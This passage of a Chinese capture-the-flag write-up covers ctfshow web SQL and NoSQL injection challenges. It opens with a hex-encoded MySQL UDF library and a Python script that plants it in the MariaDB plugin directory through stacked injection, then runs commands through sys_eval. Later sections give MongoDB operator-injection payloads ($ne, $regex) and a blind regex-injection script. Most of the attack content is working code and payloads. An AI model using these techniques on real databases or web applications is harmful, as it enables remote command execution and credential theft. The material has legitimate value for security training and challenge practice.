0000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000A00000000000000000000003817200000000000070000000B00000000000000000000004017200000000000070000000C00000000000000000000004817200000000000070000000D00000000000000000000005017200000000000070000000E00000000000000000000005817200000000000070000000F00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883EC08E827010000E8C2010000E88D0500004883C408C3FF35320B2000FF25340B20000F1F4000FF25320B20006800000000E9E0FFFFFFFF252A0B20006801000000E9D0FFFFFFFF25220B20006802000000E9C0FFFFFFFF251A0B20006803000000E9B0FFFFFFFF25120B20006804000000E9A0FFFFFFFF250A0B20006805000000E990FFFFFFFF25020B20006806000000E980FFFFFFFF25FA0A20006807000000E970FFFFFFFF25F20A20006808000000E960FFFFFFFF25EA0A20006809000000E950FFFFFFFF25E20A2000680A000000E940FFFFFFFF25DA0A2000680B000000E930FFFFFFFF25D20A2000680C000000E920FFFFFFFF25CA0A2000680D000000E910FFFFFFFF25C20A2000680E000000E900FFFFFFFF25BA0A2000680F000000E9F0FEFFFF00000000000000004883EC08488B05F50920004885C07402FFD04883C408C390909090909090909055803D900A2000004889E5415453756248833DD809200000740C488B3D6F0A2000E812FFFFFF488D05130820004C8D2504082000488B15650A20004C29E048C1F803488D58FF4839DA73200F1F440000488D4201488905450A200041FF14C4488B153A0A20004839DA72E5C605260A2000015B415CC9C3660F1F8400000000005548833DBF072000004889E57422488B05530920004885C07416488D3DA70720004989C3C941FFE30F1F840000000000C9C39090C3C3C3C331C0C3C341544883C9FF4989F455534883EC10488B4610488B3831C0F2AE48F7D1488D69FFE8B6FEFFFF83F80089C77C61754FBF1E000000E803FEFFFF488D70FF4531C94531C031FFB921000000BA07000000488D042E48F7D64821C6E8AEFEFFFF4883F8FF4889C37427498B4424104889EA4889DF488B30E852FEFFFFFFD3EB0CBA0100000031F6E802FEFFFF31C0EB05B8010000005A595B5D415CC34157BF00040000415641554531ED415455534889F34883EC1848894C24104C89442408E85AFDFFFFBF010000004989C6E84DFDFFFFC600004889C5488B4310488D356A030000488B38E814FEFFFF4989C7EB374C89F731C04883C9FFF2AE4889EF48F7D1488D59FF4D8D641D004C89E6E8DDFDFFFF4A8D3C284889DA4C89F64D89E54889C5E8A8FDFFFF4C89FABE080000004C89F7E818FDFFFF4885C075B44C89FFE82BFDFFFF807D0000750A488B442408C60001EB1F42C6442DFF0031C04883C9FF4889EFF2AE488B44241048F7D148FFC94889084883C4184889E85B5D415C415D415E415FC34883EC08833E014889D7750B488B460831D2833800740E488D353A020000E817FDFFFFB20188D05EC34883EC08833E014889D7750B488B460831D2833800740E488D3511020000E8EEFCFFFFB20188D05FC3554889FD534889D34883EC08833E027409488D3519020000EB3F488B46088338007409488D3526020000EB2DC7400400000000488B4618488B384883C70248037808E801FCFFFF31D24885C0488945107511488D351F0200004889DFE887FCFFFFB20141585B88D05DC34883EC08833E014889F94889D77510488B46088338007507C6010131C0EB0E488D3576010000E853FCFFFFB0014159C34154488D35EF0100004989CC4889D7534889D34883EC08E832FCFFFF49C704241E0000004889D8415A5B415CC34883EC0831C0833E004889D7740E488D35D5010000E807FCFFFFB001415BC34883EC08488B4610488B38E862FBFFFF5A4898C34883EC28488B46184C8B4F104989F2488B08488B46104C89CF488B004D8D4409014889C6F3A44C89C7498B4218488B0041C6040100498B4210498B5218488B4008488B4A08BA010000004889C6F3A44C89C64C89CF498B4218488B400841C6040000E867FBFFFF4883C4284898C3488B7F104885FF7405E912FBFFFFC3554889CD534C89C34883EC08488B4610488B38E849FBFFFF4885C04889C27505C60301EB1531C04883C9FF4889D7F2AE48F7D148FFC948894D00595B4889D05DC39090909090909090554889E5534883EC08488B05C80320004883F8FF7419488D1DBB0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E86FFBFFFF4883C408C345787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D657465720045787065637465642065786163746C792074776F20617267756D656E747300457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E34004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F290000011B033B980000001200000040FBFFFFB400000041FBFFFFCC00000042FBFFFFE400000043FBFFFFFC00000044FBFFFF1401000047FBFFFF2C01000048FBFFFF44010000E2FBFFFF6C010000CAFCFFFFA4010000F3FCFFFFBC0100001CFDFFFFD401000086FDFFFFF4010000B6FDFFFF0C020000E3FDFFFF2C02000002FEFFFF4402000016FEFFFF5C02000084FEFFFF7402000093FEFFFF8C0200001400000000000000017A5200017810011B0C070890010000140000001C00000084FAFFFF01000000000000000000000014000000340000006DFAFFFF010000000000000000000000140000004C00000056FAFFFF01000000000000000000000014000000640000003FFAFFFF010000000000000000000000140000007C00000028FAFFFF030000000000000000000000140000009400000013FAFFFF01000000000000000000000024000000AC000000FCF9FFFF9A00000000420E108C02480E18410E20440E3083048603000000000034000000D40000006EFAFFFFE800000000420E10470E18420E208D048E038F02450E28410E30410E38830786068C05470E50000000000000140000000C0100001EFBFFFF2900000000440E100000000014000000240100002FFBFFFF2900000000440E10000000001C0000003C01000040FBFFFF6A00000000410E108602440E188303470E200000140000005C0100008AFBFFFF3000000000440E10000000001C00000074010000A2FBFFFF2D00000000420E108C024E0E188303470E2000001400000094010000AFFBFFFF1F00000000440E100000000014000000AC010000B6FBFFFF1400000000440E100000000014000000C4010000B2FBFFFF6E00000000440E300000000014000000DC01000008FCFFFF0F00000000000000000000001C000000F4010000FFFBFFFF4100000000410E108602440E188303470E2000000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF000000000000000000000000000000000100000000000000B2010000000000000C00000000000000A00B0000000000000D00000000000000781100000000000004000000000000005801000000000000F5FEFF6F00000000A00200000000000005000000000000006807000000000000060000000000000060030000000000000A00000000000000E0010000000000000B0000000000000018000000000000000300000000000000E81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200A0000000000000700000000000000C0090000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000A009000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000004809000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000CE0B000000000000DE0B000000000000EE0B000000000000FE0B0000000000000E0C0000000000001E0C0000000000002E0C0000000000003E0C0000000000004E0C0000000000005E0C0000000000006E0C0000000000007E0C0000000000008E0C0000000000009E0C000000000000AE0C000000000000BE0C0000000000008017200000000000004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200002E7368737472746162002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E64796E616D6963002E676F74002E676F742E706C74002E64617461002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000B000000F6FFFF6F0200000000000000A002000000000000A002000000000000C000000000000000030000000000000008000000000000000000000000000000150000000B00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001D00000003000000020000000000000068070000000000006807000000000000E00100000000000000000000000000000100000000000000000000000000000025000000FFFFFF6F020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000FEFFFF6F0200000000000000A009000000000000A009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000C009000000000000C00900000000000060000000000000000300000000000000080000000000000018000000000000004B000000040000000200000000000000200A000000000000200A0000000000008001000000000000030000000A0000000800000000000000180000000000000055000000010000000600000000000000A00B000000000000A00B000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000B80B000000000000B80B00000000000010010000000000000000000000000000040000000000000010000000000000005B000000010000000600000000000000D00C000000000000D00C000000000000A80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000E000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000DD000000000000000000000000000000010000000000000001000000000000006F000000010000000200000000000000641200000000000064120000000000009C000000000000000000000000000000040000000000000000000000000000007D000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008E000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009A000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000A3000000010000000300000000000000D016200000000000D0160000000000001800000000000000000000000000000008000000000000000800000000000000A8000000010000000300000000000000E816200000000000E8160000000000009800000000000000000000000000000008000000000000000800000000000000B1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000B7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000BC000000010000000000000000000000000000000000000088170000000000009B000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000C500000000000000000000000000000001000000000000000000000000000000" udf_text=[]  for i in range(0,20000,5000):     end = i+5000     udf_text.append(udf[i:end])  p = dict(zip(text,udf_text))  for t in text:     param=payload.format(p[t],t)     get_url = url + param     res = requests.get(get_url)     print("[*]",end="")     code = res.status_code     print(code,end="")     if  code==404:         print("你输入的URL可能出错")     acq=acquire.format(t)     data=url+acq     res = requests.get(url=data)     if "load_file" in res.text:         print("-->成功插入{}.txt".format(t))  print("[*]导入udf.so成功") url_sys_dll = "?id=1%27;select unhex(concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'))) into dumpfile '/usr/lib/mariadb/plugin/udf.so' --+" res= requests.get(url=url+url_sys_dll) print("[*]创建函数sys_eval()成功") url_sys_function = "?id=1%27;create function sys_eval returns string soname 'udf.so'--+" res= requests.get(url=url+url_sys_function)  print("[*]命令执行结果: ") sys_eval="?id=';select sys_eval('cat /flag.*')--+" res= requests.get(url=url+sys_eval) print(res.text) 
【ctfshow】web篇-SQL注入 wp

web249

  • nosql,也跟MongoDB一个意思,先去补补MongoDB的基础知识,MongoDB基础
  //无   $user = $memcache->get($id); 
【ctfshow】web篇-SQL注入 wp

由于他校验的是第一个输入的数据,对于非空的数组,intval会返回1,所以可以绕过intval校验,然后再来搜flag,就可以搜索key为flag的值了

?id[]=flag 

web250

  $query = new MongoDBDriverQuery($data);   $cursor = $manager->executeQuery('ctfshow.ctfshow_user', $query)->toArray();  //无过滤   if(count($cursor)>0){     $ret['msg']='登陆成功';     array_push($ret['data'], $flag);   } 

他传入的data是username和password,所以想要这个返回值为真,我们就要构造永真式,利用ne(not equal)来让这个式子一直是真的,就为1就绕过了

post传入payload

username[$ne]=hacker&password[$ne]=hacker 

web251

  • 感觉和上题一样,那就换个永真式
username[$regex]=.*&password[$regex]=.* 

web252

  • 这题和上题有点区别,利用永真式获得了账号和密码,登陆并没有获取flag,用正则找一下

payload,找以f开头的用户名就找到了

username[$regex]=f.*&password[$ne]=1 

web253

  • 这题跟上面几题有点不同,可以登录成功,但是无回显。所以我们可以通过正则匹配来判断这个是否存在。

明显,账号数据中存在flag,因为显示的msg是登录成功【ctfshow】web篇-SQL注入 wp

因此我们利用这个回显,写个布尔盲注脚本

# -- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/8/4 # blog: gylq.gitee.io import requests  url = "http://a2efa0f0-f634-4621-bd4a-e96a4f1b0196.challenge.ctf.show:8080/api/" str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,," flag = ""  payload_user = "flag.*" payload_pass = "^{}.*"  n = 0  for i in range(1, 666):     for j in str:         data = {             'username[$regex]':payload_user,             'password[$regex]':payload_pass.format(flag+j)         }         res = requests.post(url = url, data=data)         if r"u767bu9646u6210u529f" in res.text:             flag += j             n += 1             print('[*] 开始盲注第{}位'.format(n))             print(flag)             if j == "}":                 print('[*] flag is {}'.format(flag))                 exit()             break  
【ctfshow】web篇-SQL注入 wp

个人博客

孤桜懶契:gylq.gitee.io

版权声明:玥玥 发表于 2021-08-23 10:44:04。
转载请注明:【ctfshow】web篇-SQL注入 wp | 女黑客导航